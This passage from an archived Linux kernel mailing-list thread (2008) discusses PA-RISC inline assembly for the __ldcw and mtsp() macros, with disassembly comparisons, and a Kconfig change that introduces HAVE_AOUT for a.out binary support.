> > +++ b/include/asm-parisc/system.h
> > @@ -168,8 +168,9 @@ static inline void set_eiem(unsigned long val)
> >  /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
> >  #define __ldcw(a) ({                                           \
> >        unsigned __ret;                                         \
> > -       __asm__ __volatile__(__LDCW " 0(%1),%0"                 \
> > -               : "=r" (__ret) : "r" (a));                      \
> > +       __asm__ __volatile__(__LDCW " 0(%2),%0"                 \
> > +                       : "=r" (__ret), "=m" (*(a))             \
> > +                       : "r" (a), "m" (*(a))   );              \
> >        __ret;                                                  \
> >  })
> 
> You don't want to do that, the compiler might hold "=m" (*(a)) in a
> temporary memory location.
> 
> e.g.
> temp_mem = *a;
> reg2 = &temp_mem;
> ... operation ...
> *a = temp_mem;

The operation uses "a" not "reg2".  Listing *a as written in the
asm should stop the compiler from caching *a in temp_mem.

I don't believe the compiler ever caches values in "memory".  However,
it does cache memory values in registers.  So, we need to tell GCC not
to cache *a in a register.  This can be done either by explicitly
listing the affected locations or by clobbering all memory.

I believe using the volatile keyword and a memory clobber is ok but
overkill.  Explicitly listing the affected memory as suggested by
Helge appears to be the way to go.  There is an example of this in
the GCC manual.

I also believe we can use the "+m" constraint so that *a doesn't need
to be listed twice.

It might be possible to remove the volatile keyword when the affected
memory is explicitly listed.  However, I doubt there are any situations
where the asm can be optimized away.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another inline asm worry: mtsp() macro (and may be other)?
Date: Sat, 21 Jun 2008 19:17:07 +0000
Lines: 115
Approved: news@gmane.org
Message-ID: <485D53B3.1070806@scarlet.be>
References: <K2RLMV$5D6B8CC1910705073A720C99B9A05EBA@scarlet.be> <20080620171151.GU4392@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214075913 19751 80.91.229.12 (21 Jun 2008 19:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Jun 2008 19:18:33 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
	grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	deller <deller@gmx.de>, kyle <kyle@mcmartin.ca>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 21 21:19:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KA8cF-0004b2-T6
	for glpp-linux-parisc@gmane.org; Sat, 21 Jun 2008 21:19:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752152AbYFUTSL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Jun 2008 15:18:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752161AbYFUTSK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 21 Jun 2008 15:18:10 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:44676 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752152AbYFUTSJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Jun 2008 15:18:09 -0400
Original-Received: from [213.49.72.103] (ip-213-49-72-103.dsl.scarlet.be [213.49.72.103])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5LJH7k6019176;
	Sat, 21 Jun 2008 21:17:09 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080620171151.GU4392@parisc-linux.org>
X-DCC-scarlet.be-Metrics: sif 20001; Body=7 Fuz1=7 Fuz2=7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:439
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/439>

Matthew Wilcox wrote:
> On Fri, Jun 20, 2008 at 03:01:43PM +0100, Joel Soete wrote:
>> Well I tried something:
>> @@ -103,10 +108,23 @@
>>  	cr;				\
>>  })
>>  
>> -#define mtsp(gr, cr) \
>> -	__asm__ __volatile__("mtsp %0,%1" \
>> -		: /* no outputs */ \
>> -		: "r" (gr), "i" (cr) : "memory")
>> +#define mtsp(lval, i_sr)					\
>> +{								\
>> +	if (lval) {						\
>> +		unsigned long reg = (unsigned long)(lval);	\
>> +		__asm__ __volatile__(				\
>> +			"mtsp %0, %%sr%1"			\
>> +			: /* no outputs */			\
>> +			: "r" (reg), "i" (i_sr)			\
>> +			: "memory");				\
>> +	} else {						\
>> +		__asm__ __volatile__(				\
>> +			"mtsp %%r0, %%sr%0"			\
>> +			: /* no outputs */			\
>> +			: "i" (i_sr)				\
>> +			: "memory");				\
>> +	};							\
>> +}
>>  
>> that does well the drill for ccio-dma driver but else where (memcpy or cache)
>> it looks worse then the original, so get rid of this idea.
> 
> Try this instead:
> 
> #define mtsp(space, cr)	{						\
> 	if (__builtin_constant_p(space) && (space == 0)) {		\
> 		__asm__ __volatile__("mtsp %%r0, %0" :			\
> 			/* no outputs */ : "i" (cr) : "memory");	\
> 	} else {							\
> 		__asm__ __volatile__("mtsp %0, %1" :			\
> 			/* no outputs */ : "r" (space), "i" (cr) :	\
> 				"memory");				\
> 	}								\
> }
> 
This does the same job for ccio-dma driver, no change for cache but for memory it's a bit mixed, I let you appreciate:
[snip]
00000000 <copy_to_user>:                                        00000000 <copy_to_user>:
    0:   6b c2 3f d9     stw rp,-14(sp)                             0:   6b c2 3f d9     stw rp,-14(sp)
    4:   34 1c 00 00     ldi 0,ret0                            |    4:   00 00 58 20     mtsp r0,sr1
    8:   00 1c 58 20     mtsp ret0,sr1                         |    8:   03 c0 08 bc     mfctl tr6,ret0
    c:   03 c0 08 b3     mfctl tr6,r19                         |    c:   0f 98 10 93     ldw c(ret0),r19
   10:   0e 78 10 9c     ldw c(r19),ret0                       |   10:   86 60 20 28     cmpib,= 0,r19,2c <copy_to_user+0x2c>
   14:   93 80 20 00     cmpiclr,= 0,ret0,r0                   |   14:   34 1c 00 00     ldi 0,ret0
   18:   00 00 c4 bc     mfsp sr3,ret0                             18:   00 00 c4 bc     mfsp sr3,ret0
   1c:   00 1c 98 20     mtsp ret0,sr2                             1c:   00 1c 98 20     mtsp ret0,sr2
   20:   4b c2 3f d9     ldw -14(sp),rp                            20:   4b c2 3f d9     ldw -14(sp),rp
   24:   e8 00 00 00     b,l 2c <copy_to_user+0x2c>,r0             24:   e8 00 00 00     b,l 2c <copy_to_user+0x2c>,r0
   28:   08 00 02 40     nop                                       28:   08 00 02 40     nop
   2c:   08 00 02 40     nop                                   |   2c:   00 1c 98 20     mtsp ret0,sr2
                                                               >   30:   4b c2 3f d9     ldw -14(sp),rp
                                                               >   34:   e8 00 00 00     b,l 3c <copy_to_user+0x3c>,r0
                                                               >   38:   08 00 02 40     nop
                                                               >   3c:   08 00 02 40     nop
[snip]
00000000 <copy_from_user>:                                      00000000 <copy_from_user>:
    0:   6b c2 3f d9     stw rp,-14(sp)                             0:   6b c2 3f d9     stw rp,-14(sp)
    4:   03 c0 08 bc     mfctl tr6,ret0                             4:   03 c0 08 bc     mfctl tr6,ret0
    8:   0f 98 10 93     ldw c(ret0),r19                            8:   0f 98 10 93     ldw c(ret0),r19
    c:   86 60 20 38     cmpib,= 0,r19,30 <copy_from_user+0x30 |    c:   86 60 20 30     cmpib,= 0,r19,2c <copy_from_user+0x2c
   10:   34 1c 00 00     ldi 0,ret0                                10:   34 1c 00 00     ldi 0,ret0
   14:   00 00 c4 bc     mfsp sr3,ret0                             14:   00 00 c4 bc     mfsp sr3,ret0
   18:   00 1c 58 20     mtsp ret0,sr1                             18:   00 1c 58 20     mtsp ret0,sr1
   1c:   34 1c 00 00     ldi 0,ret0                            |   1c:   00 00 98 20     mtsp r0,sr2
   20:   00 1c 98 20     mtsp ret0,sr2                         |   20:   4b c2 3f d9     ldw -14(sp),rp
   24:   4b c2 3f d9     ldw -14(sp),rp                        |   24:   e8 00 00 00     b,l 2c <copy_from_user+0x2c>,r0
   28:   e8 00 00 00     b,l 30 <copy_from_user+0x30>,r0       |   28:   08 00 02 40     nop
   2c:   08 00 02 40     nop                                   |   2c:   00 1c 58 20     mtsp ret0,sr1
   30:   00 1c 58 20     mtsp ret0,sr1                         |   30:   00 00 98 20     mtsp r0,sr2
   34:   34 1c 00 00     ldi 0,ret0                            |   34:   4b c2 3f d9     ldw -14(sp),rp
   38:   00 1c 98 20     mtsp ret0,sr2                         |   38:   e8 00 00 00     b,l 40 <copy_from_user+0x40>,r0
   3c:   4b c2 3f d9     ldw -14(sp),rp                        |   3c:   08 00 02 40     nop
   40:   e8 00 00 00     b,l 48 <copy_from_user+0x48>,r0       |   40:   08 00 02 40     nop
   44:   08 00 02 40     nop                                   <
   48:   08 00 02 40     nop                                   <
Disassembly of section .text.copy_in_user:                      Disassembly of section .text.copy_in_user:
[snip]

00000000 <memcpy>:                                              00000000 <memcpy>:
    0:   6b c2 3f d9     stw rp,-14(sp)                             0:   6b c2 3f d9     stw rp,-14(sp)
    4:   34 1c 00 00     ldi 0,ret0                            |    4:   6f c4 00 80     stw,ma r4,40(sp)
    8:   6f c4 00 80     stw,ma r4,40(sp)                      |    8:   08 1a 02 44     copy r26,r4
    c:   08 1a 02 44     copy r26,r4                           |    c:   00 00 58 20     mtsp r0,sr1
   10:   00 1c 58 20     mtsp ret0,sr1                         |   10:   00 00 98 20     mtsp r0,sr2
   14:   34 13 00 00     ldi 0,r19                             |   14:   e8 40 00 00     b,l 1c <memcpy+0x1c>,rp
   18:   00 13 98 20     mtsp r19,sr2                          |   18:   08 00 02 40     nop
   1c:   e8 40 00 00     b,l 24 <memcpy+0x24>,rp               |   1c:   4b c2 3f 59     ldw -54(sp),rp
   20:   08 00 02 40     nop                                   |   20:   08 04 02 5c     copy r4,ret0
   24:   4b c2 3f 59     ldw -54(sp),rp                        |   24:   e8 40 c0 00     bv r0(rp)
   28:   08 04 02 5c     copy r4,ret0                          |   28:   4f c4 3f 81     ldw,mb -40(sp),r4
   2c:   e8 40 c0 00     bv r0(rp)                             <
   30:   4f c4 3f 81     ldw,mb -40(sp),r4                     <
[snip]

Anyway, it's far well better than mine.

Tx,
	J.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Sun, 22 Jun 2008 12:49:07 +0300
Lines: 64
Approved: news@gmane.org
Message-ID: <20080622094907.GF27069@cs181133002.pp.htv.fi>
References: <1213565555.26255.522.camel@pmac.infradead.org> <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org> <20080617101112.GE20169@cs181133002.pp.htv.fi> <1213702113.26255.996.camel@pmac.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1214128272 1108 80.91.229.12 (22 Jun 2008 09:51:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Jun 2008 09:51:12 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org, gerg@uclinux.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 22 11:51:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KAMEf-0006ve-Tq
	for glpp-linux-parisc@gmane.org; Sun, 22 Jun 2008 11:51:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751680AbYFVJu6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Jun 2008 05:50:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751612AbYFVJu6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 22 Jun 2008 05:50:58 -0400
Original-Received: from smtp6.pp.htv.fi ([213.243.153.40]:42964 "EHLO smtp6.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751435AbYFVJu4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Jun 2008 05:50:56 -0400
Original-Received: from cs181133002.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp6.pp.htv.fi (Postfix) with ESMTP id 1C2C15BC023;
	Sun, 22 Jun 2008 12:50:55 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1213702113.26255.996.camel@pmac.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:440 gmane.linux.kernel:696526 gmane.linux.ports.sh.devel:4044 gmane.linux.kernel.cross-arch:1466
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/440>

On Tue, Jun 17, 2008 at 12:28:33PM +0100, David Woodhouse wrote:
> On Tue, 2008-06-17 at 13:11 +0300, Adrian Bunk wrote:
> > The pattern for this stuff is to provide a HAVE_AOUT kconfig variable 
> > that gets select'ed by these architectures.
> 
> http://git.infradead.org/users/dwmw2/aout-2.6.git?a=commitdiff;h=a5db5179
> 
> Subject: [PATCH] Introduce HAVE_AOUT symbol to remove hard-coded arch list for BINFMT_AOUT
> 
> HAVE_AOUT doesn't quite do the same thing as the recently removed
> ARCH_SUPPORTS_AOUT config option. That was set even on platforms where
> binfmt_aout isn't supported, although it's not entirely clear why.
> 
> So it's best just to introduce a new symbol, handled consistently with
> other similar HAVE_xxx symbols; with a simple 'select' the arch Kconfig.
> 
> Signed-off-by: David Woodhouse <dwmw2@infradead.org>
> ---
>  arch/alpha/Kconfig |    1 +
>  arch/arm/Kconfig   |    1 +
>  arch/m68k/Kconfig  |    1 +
>  arch/x86/Kconfig   |    1 +
>  fs/Kconfig.binfmt  |    5 ++++-
>  5 files changed, 8 insertions(+), 1 deletions(-)
>...
> --- a/fs/Kconfig.binfmt
> +++ b/fs/Kconfig.binfmt
> @@ -59,9 +59,12 @@ config BINFMT_SHARED_FLAT
>  	help
>  	  Support FLAT shared libraries
>  
> +config HAVE_AOUT
> +       def_bool n
> +
>  config BINFMT_AOUT
>  	tristate "Kernel support for a.out and ECOFF binaries"
> -	depends on (X86_32 || ALPHA || ARM || M68K)
> +	depends on HAVE_AOUT
>  	---help---
>  	  A.out (Assembler.OUTput) is a set of formats for libraries and
>  	  executables used in the earliest versions of UNIX.  Linux used

What about m68knommu?

I don't know whether it was intentionally available there, but the 
removal in your patch does not seem to be intentional.

> dwmw2

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Sun, 22 Jun 2008 12:40:50 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <1214134850.2409.2.camel@shinybook.infradead.org>
References: <1213565555.26255.522.camel@pmac.infradead.org>
	 <1213604973-7073-1-git-send-email-jacmet@sunsite.dk>
	 <1213617663.26255.708.camel@pmac.infradead.org>
	 <20080616121727.GB10854@cs181133002.pp.htv.fi>
	 <1213619214.26255.721.camel@pmac.infradead.org>
	 <20080617084235.GA20169@cs181133002.pp.htv.fi>
	 <1213696004.26255.960.camel@pmac.infradead.org>
	 <20080617101112.GE20169@cs181133002.pp.htv.fi>
	 <1213702113.26255.996.camel@pmac.infradead.org>
	 <20080622094907.GF27069@cs181133002.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214135478 19001 80.91.229.12 (22 Jun 2008 11:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Jun 2008 11:51:18 +0000 (UTC)
Cc: Peter Korsgaard <jacmet@sunsite.dk>, linux-kernel@vger.kernel.org,
	sam@ravnborg.org, dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org, gerg@uclinux.org
To: Adrian Bunk <bunk@kernel.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753353AbYFVLu1@vger.kernel.org Sun Jun 22 13:51:59 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753353AbYFVLu1@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KAO6x-0003h8-0M
	for glk-linux-kernel-3@gmane.org; Sun, 22 Jun 2008 13:51:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753353AbYFVLu1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 22 Jun 2008 07:50:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751521AbYFVLuN
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sun, 22 Jun 2008 07:50:13 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:58121 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751495AbYFVLuM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 22 Jun 2008 07:50:12 -0400
Original-Received: from shinybook-bcm.infradead.org ([2001:8b0:10b:1:20a:95ff:fef3:9992])
	by bombadil.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1KAO4L-00047M-LA; Sun, 22 Jun 2008 11:49:17 +0000
In-Reply-To: <20080622094907.GF27069@cs181133002.pp.htv.fi>
X-Mailer: Evolution 2.22.2 (2.22.2-2.fc9) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:696532 gmane.linux.ports.parisc:441 gmane.linux.ports.sh.devel:4045 gmane.linux.kernel.cross-arch:1467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/441>

On Sun, 2008-06-22 at 12:49 +0300, Adrian Bunk wrote:
> 
> What about m68knommu?
> 
> I don't know whether it was intentionally available there, but the 
> removal in your patch does not seem to be intentional.

Hm, true. Well spotted. I think it's probably correct though -- I don't
think m68knommu can really support a.out binaries, can it?

-- 
dwmw2


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another inline asm worry: mtsp() macro (and may be other)?
Date: Sun, 22 Jun 2008 11:15:42 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20080622171542.GA31925@colo.lackof.org>
References: <K2PKFI$6B7F5B0E10C229208B934B9E4E289468@scarlet.be> <20080619161151.GB6049@colo.lackof.org> <485ABAFE.2010504@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214154982 7834 80.91.229.12 (22 Jun 2008 17:16:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Jun 2008 17:16:22 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>, kyle <kyle@mcmartin.ca>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 22 19:17:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KATBM-0000cm-58
	for glpp-linux-parisc@gmane.org; Sun, 22 Jun 2008 19:16:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752256AbYFVRQA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Jun 2008 13:16:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752471AbYFVRQA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 22 Jun 2008 13:16:00 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:39218 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752256AbYFVRP7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Jun 2008 13:15:59 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2013F4F80FF;
	Sun, 22 Jun 2008 11:15:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02260-10; Sun, 22 Jun 2008 11:15:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AE4B54F80FC; Sun, 22 Jun 2008 11:15:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <485ABAFE.2010504@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:442
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/442>

On Thu, Jun 19, 2008 at 08:01:02PM +0000, Joel Soete wrote:
...
>> We could. But I thought there are cases were we might want to DMA to/from
>> user space directly and that's why Space ID is a parameter.
>
> Ok but it was a BUG if temporary space reg is not 0, so???

It was a BUG in 2.4 kernels since 2.4 didn't have the VM support
to do DMA to/from user space.

I thought 2.6 kernels could DMA to/from user space (related to Direct IO).

> btw system seems to boot too with asm volatile("mtsp 
> %%r0,%%sr1":::"memory")
> may be the cpp can catch in the mtsp(gr, cr) macro if gr==0 then I can use 
> this insn if not the original macro???

Yes. I like willy's proposed patch for this.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David McCullough <David_Mccullough@securecomputing.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Mon, 23 Jun 2008 09:53:32 +1000
Lines: 17
Approved: news@gmane.org
Message-ID: <20080622235332.GA16055@securecomputing.com>
References: <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org> <20080617101112.GE20169@cs181133002.pp.htv.fi> <1213702113.26255.996.camel@pmac.infradead.org> <20080622094907.GF27069@cs181133002.pp.htv.fi> <1214134850.2409.2.camel@shinybook.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214178833 10339 80.91.229.12 (22 Jun 2008 23:53:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Jun 2008 23:53:53 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, Peter Korsgaard <jacmet@sunsite.dk>,
	linux-kernel@vger.kernel.org, sam@ravnborg.org,
	dhowells@redhat.com, andi@firstfloor.org,
	"Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org, gerg@uclinux.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jun 23 01:54:35 2008
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KAZOB-0000Mr-I0
	for glka-linux-arch@gmane.org; Mon, 23 Jun 2008 01:54:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755835AbYFVXxi (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 22 Jun 2008 19:53:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755668AbYFVXxi
	(ORCPT <rfc822;linux-arch-outgoing>);
	Sun, 22 Jun 2008 19:53:38 -0400
Original-Received: from rex.securecomputing.com ([203.24.151.4]:53423 "EHLO
	cyberguard.com.au" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754041AbYFVXxg (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sun, 22 Jun 2008 19:53:36 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by bne.snapgear.com (Postfix) with ESMTP id 28900EBB3A;
	Mon, 23 Jun 2008 09:53:34 +1000 (EST)
X-Virus-Scanned: amavisd-new at snapgear.com
Original-Received: from bne.snapgear.com ([127.0.0.1])
	by localhost (bne.snapgear.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id e7EBjg+7MGLD; Mon, 23 Jun 2008 09:53:33 +1000 (EST)
Original-Received: from beast (davidm0.sw.moreton.com.au [10.46.1.20])
	by bne.snapgear.com (Postfix) with ESMTP;
	Mon, 23 Jun 2008 09:53:33 +1000 (EST)
